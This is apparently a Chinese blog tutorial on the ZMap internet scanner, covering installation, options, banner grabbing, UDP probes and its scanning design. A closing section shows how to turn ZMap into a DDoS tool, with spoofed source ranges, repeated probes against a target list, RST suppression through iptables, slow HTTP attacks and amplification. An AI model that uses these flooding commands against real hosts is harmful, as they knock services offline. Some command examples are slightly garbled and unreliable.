0x00 背景
Zmap是美国密歇根大学研究者开发出一款工具。在第22届USENIX安全研讨会，以超过nmap 1300倍的扫描速度声名鹊起。相比大名鼎鼎的nmap全网扫描速度是他最大的亮点。在千兆网卡状态下，45分钟内扫描全网络IPv4地址。
安装：
64位版本
Debian/Ubuntu 系列
Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt
Step2: wget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz
Step3: tar –zxvf v1.0.3.tar.gz
Step4: cd zmap-1.0.3/src
Step5: make && make install
32版本 （zmap 主页只说适用于64位linux,这里用BT5r3 32位同样安装成功,建议还是尽量选用64版本的）
Debian/Ubuntu 系列
Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt
Step2: git clone git://github.com/zmap/zmap.git
Step3: tar –zxvf v1.0.2.tar.gz
Step4: cd zmap-1.0.2/src
Step5: make && make install
Fedora, Red Hat Enterprise Linux, or CentOS版本：
只把step2替换成
sudo yum install gmp gmp-devel libpcap-devel gengetopt
如果想使用 redis用来存储则需要首先安装 Hiredis，并在step5中
make REDIS=true (加入此安装选项)
不是以root权限运行则需要配置：
setcap cap_net_raw=ep /usr/local/sbin/zmap
0x01 使用介绍：
安装完后，可直接调用zmap
1.最简单的调用
zmap -B 10M -p 80 -n 100000 -o results.txt
-B 是指的是带宽 -p 端口 -n 扫描多少个目标 -o 输出结果
整句表示利用10M带宽扫描100000IP地址的端口，并将结果输出到results.txt中。
我BT5 R3 测试时，必须加入-G 参数
zmap -B 10M -p 80 -n 100000 -G "01:00:5e:00:00:02" -o results.txt
-G 是指定出口的mac地址，必须为网关的实际mac地址，否则返回数据找不到信息。
如果扫到IP地址开了80端口，就会按照下列格式进行保存。
115.237.116.119
23.9.117.80
207.118.204.141
217.120.143.111
2.用的最多的指令
zmap -p 443 -G "00:00:00:00:00:00"
检测全网络SSL/STL使用状况，ZMAP几个研究项目都与此有关。 
可见我使用的扫描全网的所得大约9小时16分钟，网络为10MADSL带宽，ADSL上行速度只有100k左右，导致时间加倍延迟。
3.常用参数
-p, --target-port=port
指定扫描的目标端口
-o, --output-file=name
把结果写入指定文件 -o result.txt
-b, --blacklist-file=path
IP地址黑名单，例如192.168.0.0/16 表示 192.168.x.x将不被扫描，默认提供一份 RFC 1918保留和内网地址供参考，存放位置在conf/blacklist.conf
zmap -p 443 -G "00:00:00:00:00:00" -b conf/blacklist.conf
-n, --max-targets=n
最大扫描IP地址数量，-n 100 表示总归扫描100个IP地址。也可指定 –n 0.1%形式，表示扫描除去黑名单列表里面全网段的0.1%数量的IP地址。
-N, --max-results=n
最大扫描到结果的IP数量，-N 100 表示扫描到100个存在的结果就停止。
-t, --max-runtime=secs
最大扫描时间，-t 10 表示程序运行10s结束。
-r, --rate=pps
设置每秒发送包的数量 –r 10000 表示每秒发送10k个包。
-B, --bandwidth=bps
设置每秒发送包的大小，-B 10M 表示每秒发送10Mbps 支持单位（GMK）。
-c, --cooldown-time=secs
设置数据包发送完之后多长时间开始接受数据（response）,默认8s，TCP连接异步接受。
-e, --seed=n
设置扫描随机地址的顺序，C语言中的伪随机种子，指定 定值每次随机扫描的IP地址顺序是一样。
-T, --sender-threads=n
设置扫描线程。默认是1，经测试单线程基本是把网络带宽充分利用。
-P, --probes=n
设置往每个IP发送包的数量，默认为1。（DDOS的参数之一）。
-d, --dryrun
打印出每个包的内容，非常实用的功能。
-s, --source-port=port|range
设置扫描的源端口，可指定范围 –s 30000-50000。（DDOS的参数之一）。
-S, --source-ip=ip|range
设置扫描的源IP地址，可指定范围-S 100.100.0.1-200.200.200.200（DDOS的参数之一）。
-G, --gateway-mac=addr
设置网关的mac地址，可伪造。（DDOS的参数之一）
-M, --probe-module=name
设置扫描模式，参数tcp_synscan（默认），icmp_echoscan（ping扫描），udp（测试速度要逊于前两个），这里可自定义自己的模块，ZMAP作者后续会增加例如自定义UDP payload 的选项。（`*udp_send_msg = "GET / HTTP/1.1
"; // Must be null-terminated`）源码里不可直接更改 （1.0.3版本加入UDP Data Probes可进行自定义）
-O, --output-module=name
设置结果输出模块，参数simple_file（默认），extended_file。
Simple_file 模式如下
115.237.116.119
23.9.117.80
207.118.204.141
217.120.143.111
Extended File模式如下
response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp
synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681
扫描模块和输出模块都提供了API ，可自己根据需要添加功能。
--quiet
安静状态下运行，不把进度信息打印到屏幕上
--summary
输出结果汇总，对研究人员来说 非常有帮助。
0x02 三个额外的扩展应用
Banner Grab
抓取指纹，简言之抓取response 为识别类似SSH，http 401之类的信息做准备。
这里 examples / banner-grab 目录下
首先 make 生成banner-grab-tcp
向http-req 文件写入要发送的数据 (也可以自定义SSH-req 之类)
如：
echo -e -n "GET / HTTP/1.1
Host: %s
" > http-req
（%s 保留，其他可任意构造HTTP请求，包括GET，POST）
这里扩展下 banner-grab-tcp下的参数
-c, --concurent 每次的连接数，最好低于1000，想要高于1000则必须设置ulimit -SSn 1000000` and `ulimit -SHn 1000000` 突破每个文件最大进程数1024
-p, --port 连接的端口
-t, --conn-timeout 连接超时时间
-r, --read-timeout 响应超时时间
-v, --verbosity 列取信息详细程度 ，与sqlmap 类似
-f, --format 输出文件格式hex，ascii，base64
-d, --data 发送的数据信息 就是前面设置http-req
源码里 #define MAX_BANNER_LEN 1024 接收的每条返回数据，只接收1024字节，根据需要可自行更改。
与zmap 联合使用
例子
zmap -p 80 -N 1000 -o - | ./banner-grab-tcp -p 80 -c 100 -d http-req > http-banners.out
zmap扫描1000个80端口开放的IP地址，banner-grab-tcp 来扫描这些IP地址，扫描请求内容通过http-req可自定义 .
forge-socket
与Banner Grab功能一样，参数也类似，不再重复。
主要是安装方式不同
要先安装下列驱动
git clone git@github.com:ewust/forge_socket.git
cd forge_socket
make
sudo insmod forge_socket.ko（以底层驱动方式 比Banner Grab效率高一些）
并且用iptables阻止发rst包
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
UDP Data Probes
1.03版本加入
详细的测试payload见
https://github.com/zmap/zmap/tree/master/examples/udp-probes
以探测mssql的1434端口为例：
zmap -M udp -p 1434 --probe-args=file:examples/udp-probes/mssql_1434.pkt
pkt也可自行构造。
格式化配置
利用配置文件 简化命令行输入
interface "eth1"
source-ip 1.1.1.4-1.1.1.8
gateway-mac b4:23:f9:28:fa:2d # upstream gateway
cooldown-time 300 # seconds
blacklist-file /etc/zmap/blacklist.conf
output-file ~/zmap-output
quiet
summary
上述指令上面全部有介绍。
很显然，可以通过配置文件更快速配置zmap.
使用方法：
zmap --config=~/.zmap.conf --target-port=443
0x03 原理分析
Know it
首先讲下TCP三次握手。
在TCP/IP协议中，TCP协议提供可靠的连接服务，采用三次握手建立一个连接。
可见三次握手存在于发送-应答-发送机制，等待监听的时间势必导致发包速度很慢。
这里zmap是发送SYN，随后发送RST（重置连接），不存在监听同步操作，清空连接，再继续发下一个数据包。 而对于识别 zmap把 Ip地址和端口做了类似hash表一样的映射，当数据包返回时（可能是Syn+Ack，也可能RST），取出返回数据包里Ip和端口地址进行储存的hash表里查询，并对应处理记录。 同步变异步高效的基本原因。
0x04 发散扩展
DDoS的可行性：
作者旨在关注全网的扫描，并未提及相关DDoS 的信息。
也并未特别提供指向型发包的指令。
下面讨论可能与作者想法相违，希望各位重在技术钻研，而非一些恶意破坏。
指定ip段 和ip地址
-w, --whitelist-file=path
限制只扫描文件中的下列地址或者地址段，例如：
222.222.221.82/24 （192.168.1.0-255 ）（可利用种子 –seed 调整从那个IP开始）
单个Ip地址
222.222.221.82/32 （随机找了一个，这里1.02版本测试不能直接，需要改 blacklist.c和constraint.c 中生成IP地址的二叉树的root节点一小部分代码）
然后利用
-P 10000000 （重复多次发包）
-s 2000-60000 (设置一个大的端口段)
-S 20.20.20.0-200.200.200.200（随机大量Ip地址，模拟分布式的D）
-G 这个伪造mac （但是收不到数据包）
Zmap –p 80 -P 10000000 -s 2000-60000 -S 20.20.20.0-200.200.200.200 -w attack_url.txt
见下列发送的数据效果，达到预期
可能造成什么样的危害?
可以配置IP Spoofing，syn flood,land attack, ICMP floods, Application floods 和其他UDP 全零等多种攻击。
Zmap 的发包速度甚至可以忽略一下 随后发的这个rst 包。
也可以做得完美一点就是利用iptables
iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP
把发出去的RST包给drop掉。
可以再升一下？
毕竟有部分扩展能控制到应用层也是可以进行慢攻击。
Get 类型
echo -e -n "GET / HTTP/1.1
Host: %s
" > http-req 替换成
echo -e -n "GET / HTTP/1.1
Host: %s
" > http-req
Post 类型
可以把源码sizeof(value) 的值设置一个大的动态数值。 Post数据设置很小。
DDoS 流量 +连接数 +畸形包
流量基本只能硬防，拼硬件。
zmap几乎是最大限度利用网络带宽，10台G口服务器不会损耗多少，如果再利用DNS放大流量之类，很恐怖的数字。
Ps ：
Zmap 某些方面和python 的scapy很像。
但zmap 纯C实现，比scapy效率要高一些。
以前老是纠结scapy 随后发送RST 问题，这里利用iptables 方式确实是个好方法。
参考其中的源码和相对规范的API接口，编写一些模块可以玩出很多花样。
LINK: